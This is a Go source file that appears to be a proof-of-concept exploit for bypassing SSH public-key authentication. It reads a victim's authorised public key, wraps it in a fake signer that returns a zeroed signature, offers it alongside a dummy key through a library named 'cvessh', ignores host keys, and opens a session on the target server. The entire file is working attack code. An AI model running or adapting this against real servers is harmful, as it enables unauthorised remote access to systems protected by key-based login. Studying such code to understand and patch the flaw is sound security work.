package main

import (
	"crypto/ed25519"
	"crypto/rand"
	"crypto/x509"
	"encoding/pem"
	"flag"
	"fmt"
	"io"
	"log"
	"os"
	"time"

	ssh "github.com/NHAS/cvessh"
)

func GenerateDummySSH() (ssh.Signer, error) {
	_, priv, err := ed25519.GenerateKey(rand.Reader)
	if err != nil {
		return nil, err
	}

	// Convert a generated ed25519 key into a PEM block so that the ssh library can ingest it, bit round about tbh
	bytes, err := x509.MarshalPKCS8PrivateKey(priv)
	if err != nil {
		return nil, err
	}

	privatePem := pem.EncodeToMemory(
		&pem.Block{
			Type:  "PRIVATE KEY",
			Bytes: bytes,
		},
	)

	private, err := ssh.ParsePrivateKey(privatePem)
	if err != nil {
		return nil, fmt.Errorf("failed to parse private key: %s", err)
	}

	return private, nil
}

type FakeSigner struct {
	key ssh.PublicKey
}

func (fs *FakeSigner) PublicKey() ssh.PublicKey {
	return fs.key
}

func (fs *FakeSigner) Sign(rand io.Reader, data []byte) (*ssh.Signature, error) {
	return &ssh.Signature{
		Format: ssh.KeyAlgoED25519,
		Blob:   make([]byte, 64),
	}, nil
}

func NewFakeSigner(path string) (*FakeSigner, error) {
	keyBytes, err := os.ReadFile(path)
	if err != nil {
		return nil, err
	}

	keyToFake, _, _, _, err := ssh.ParseAuthorizedKey(keyBytes)
	if err != nil {
		return nil, err
	}

	return &FakeSigner{
		key: keyToFake,
	}, err
}

func main() {
	publicKeyPath := flag.String("authorised-pubkey", "id_ed25519.pub", "The allowed pubkey that will pass verification (Must be pub key)")
	addr := flag.String("addr", "127.0.0.1:2222", "Address of ssh server")
	flag.Parse()

	fake, err := NewFakeSigner(*publicKeyPath)
	if err != nil {
		log.Fatal(err)
	}

	dummy, err := GenerateDummySSH()
	if err != nil {
		log.Fatal(err)
	}

	c := &ssh.ClientConfig{
		User: "test",
		Auth: []ssh.AuthMethod{
			ssh.PublicKeys(dummy, fake),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         10 * time.Second,
	}

	con, err := ssh.Dial("tcp", *addr, c)
	if err != nil {
		log.Fatal("Failed to dial: ", err)
	}
	defer con.Close()

	newSess, req, err := con.OpenChannel("session", nil)
	if err != nil {
		log.Fatal("Failed to open channel: ", err)
	}

	go ssh.DiscardRequests(req)

	io.Copy(os.Stdout, newSess)
}